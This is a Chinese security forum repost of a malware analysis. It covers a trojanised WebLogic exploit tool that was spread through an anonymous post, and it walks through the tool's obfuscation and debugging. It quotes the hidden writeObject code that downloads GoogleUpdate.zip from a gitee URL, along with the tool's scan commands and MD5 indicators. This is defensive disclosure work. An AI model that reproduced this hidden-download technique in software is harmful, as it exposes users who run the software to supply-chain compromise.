安全矩阵

 找回密码
 立即注册
搜索
查看: 2714|回复: 0

匿名帖子中藏“马”,针对某特殊群体的供应链打击

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-24 22:24:52 | 显示全部楼层 |阅读模式
原文链接:匿名帖子中藏“马”,针对某特殊群体的供应链打击

背景
大概在4月19号,我们注意到某步社区中有一个匿名帖子,贴子地址
https://m.threatbook.cn/detail/6192
贴子内容如下

其中提到了一个weblogic漏洞利用工具,项目地址是https://github.com/DesaiParekh/weblogic_cmd_plus (截至发文,项目已被删除)

本着学习的精神去看了项目,但是发现这个项目并没有把源码公开,只是分享了一个工具
下载工具到本地,是一个压缩包

解压压缩包,内容如下

查看项目中的教程,工具用法应该是
  1. java -jar weblogic_cmd_plus.jar -scanip 127.0.0.1 -scanport 7001 -scan
复制代码

教程见下图


把项目脱到idea中,反编译jar包,随便查看了一些class文件,发现看不到具体的源码,只能看到如下图这种类似类声明的内容

因为这个T3VulnerabilityCheck.class大概有13k,所以内容不太可能是这种类声明

尝试使用javap查看对应字节码,如下图

查看字节码还是有很多内容的,观察了一会,我们注意到一个频繁出现的字符串

ALLATORIxDEMO
在互联网搜索一下这个字符串,发现这个字符串是一款java混淆工具加密后特有的内容
这款java混淆工具名字叫Allatori,官网是http://www.allatori.com/
我们开始好奇为什么这个工具要使用混淆工具混淆代码,难道这里有什么不可告人的秘密嘛?
(当然我们如果直接运行工具也可以看到使用了Allatori,因为工具运行后直接就输出了Allatori)
样本测试把工具放到虚拟机里运行,打开各种分析工具,开始分析这个jar包的行为
尝试各种命令运行,当使用

  1. java -jar weblogic_cmd_plus.jar -scanip 192.168.0.1/24 -scanport 7001 -scan -t 20
复制代码

执行以后,发现一个有意思的现象


怎么突然多了个GoogleUpdate.exe?

好家伙,你一个GoogleUpdate.exe用的腾讯的签名?难道说?
样本分析在上一步已经明确了这个工具有问题,这里我们开始分析这个jar包到底是如何工作的
因为在idea中反编译效果太差,我一度想硬扣一下字节码把反编译工具换成jadx以后,内容正常了
代码中很多地方都使用了Allatori进行加密,我在想是不是应该去解密一下,在网上找到一篇介绍Allatori如何加密的,学习了一下,地址如下https://zhuanlan.zhihu.com/p/342386478
文章中提到Allatori大概有两种加密方式,一种是强加密方式,会通过调用堆栈获取到当前执行的类、方法名(不太严谨)作为解密的依据,另外一种是简单的运算,算法比较简单
找了一会解密Allatori的工具,用了几个都失败了,不过这里工具混淆的内容相对好一点,代码不解密其实也可以看出来一些实现的逻辑
正好刚才我们在样本测试的时候发现,这个工具的恶意代码触发逻辑可能是和ip有关,我们就重点关注一下ip处理相关的类
发现com.supeream.utils.IpUtil这个类可能有一些问题
第一,他在import的时候居然引用了java.io.ObjectOutputStream,java.lang.reflect.Constructor,sun.misc.Unsafe这三个类
第二,在getIpFromString这个方法里使用了Class.forName和writeObject

因为加密和编码的问题,我们看不到具体是加载了什么类
其实这种加密我们在代码里都可以找到对应解密方式,本地自己实现一个解密也很快,查看了我们可能会重点关注的类以后,发现那些类都使用的强加密方式(堆栈方式),思考了一会决定不在加解密下功夫,尝试debug一下这个jar包
在idea里用几个方法debug都失败了(可能是我环境没配置对),无语,换个思路
想了一下还是用最古老的方法debug最稳当
使用jdb来debug这个jar包
jar运行开启debug模式

java -Xdebug -Xrunjdwp:transport=dt_socket,address=javadebug,server=y,suspend=y -jar weblogic_cmd_plus.jar -scanip 192.168.0.1/24 -scanport 7001 -scan -t 20
使用jdb连接(这里的port是随机的,我这里直接粘贴我的配置了)

jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=49226
在main方法打一个断点,然后运行

stop in com.supeream.Main.mainrun开始慢慢debug

大概执行了无数次step以后,我终于想起来我是来解密class.forName到底是加载什么类的
重新debug,设置断点

stop in com.supeream.utils.IpUtil.getIpFromStringrunstep了一会,我们进入到com.supeream.serial.BytesOperation这个类
现在我们可以使用这个类的hexStringToString在jdb中解码了

  1. eval com.supeream.serial.BytesOperation.hexStringToString("7765626c6f6769632e6a3265652e64657363726970746f722e496e746572636570746f724265616e496d706c")
复制代码

解码后内容是weblogic.j2ee.descriptor.InterceptorBeanImpl


当然,如果继续跟代码,也会进入到weblogic.j2ee.descriptor.InterceptorBeanImpl这个类中
使用jadx打开weblogic.j2ee.descriptor.InterceptorBeanImpl这个类,我差点笑出了声,如果真的是weblogic的类,会import一个com.github.kevinsawicki.http.HttpRequest嘛?

结合之前getIpFromString出现过的writeObject,我想起来一个java反序列化中的一个小知识点
当对某一个类进行序列化的时候,如果目标类自己实现了writeObject,会调用目标类自己实现的writeObject
根据这个小知识点,我在InterceptorBeanImpl里搜索一下writeObject
bingo!

仔细观察这个writeObject,发现他使用com.github.kevinsawicki.http.HttpRequet.get去下载了一个文件

  1. HttpRequest.get(hexStringToString("68747470733a2f2f67697465652e636f6d2f666f786b696e673030372f666f7872617069642d6b696e672f6174746163685f66696c65732f3637313939372f646f776e6c6f61642f476f6f676c655570646174652e7a6970")).receive(new File(hexStringToString2));
复制代码

本地实现一下这个hexStringToString

解码内容如下

https://gitee.com/foxking007/fox ... ad/GoogleUpdate.zip
(截至发稿,文件已失效)
这个文件名符合我们在样本测试阶段观察到的事实
如果谁感兴趣后续动作可以自己去跟一下代码逻辑,我们到这里就不再继续分析了
总的来说,如果不是好奇他这个项目是怎么实现的,很难发现这个工具其实是一个马
请各位同行严查自己、部门、朋友有没有下载、运行过这个工具

样本信息:名称md5
weblogic_cmd_plus.zip9dc3224bdb48a2733cb10c9b6a6d728f
weblogic_cmd_plus.jar9cbf87345b26b8a0c915fccae1bae08a
GoogleUpdate.exe42165a4e1c4ec725ef87eaf50f0dd6a9
QMLogEx.dll31fb6e738e5ddd3d6fe686f6e1ca401c

作者:Dm、Superdong、毁三观大人、l1nk3r、Five star
















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:41 , Processed in 0.013500 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表